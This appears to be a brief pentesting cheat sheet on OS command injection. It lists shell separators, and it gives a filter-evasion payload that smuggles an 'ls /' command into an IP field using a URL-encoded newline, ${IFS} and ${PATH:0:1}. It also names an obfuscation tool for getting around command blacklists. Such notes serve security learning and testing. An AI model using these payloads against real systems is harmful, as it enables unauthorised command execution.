Command Injection
Basic Command Injection
; # semi colon
\n # New Line %0a
& # background
| # pipe
&& # AND
|| # OR
`` # Sub Shell (backticks)
$() # Sub-ShellAdvanced Command Injection
When Space,and paths(/etc/passwd, /, /home ) are not Allowed
# %0a is new line
# ls will list the file
# ${IFS} when space is blacklisted
# ${PATH:0:1} it will grab / from path variables
ip=127.0.0.150%0als${IFS}${PATH:0:1}
# Final Command Becomes
127.0.0.1
ls /

Bypassing Blacklists(whoami,pwd,ls,cat)
Automated Obfuscation Tool for Command Injection
BashFuscator


Last updated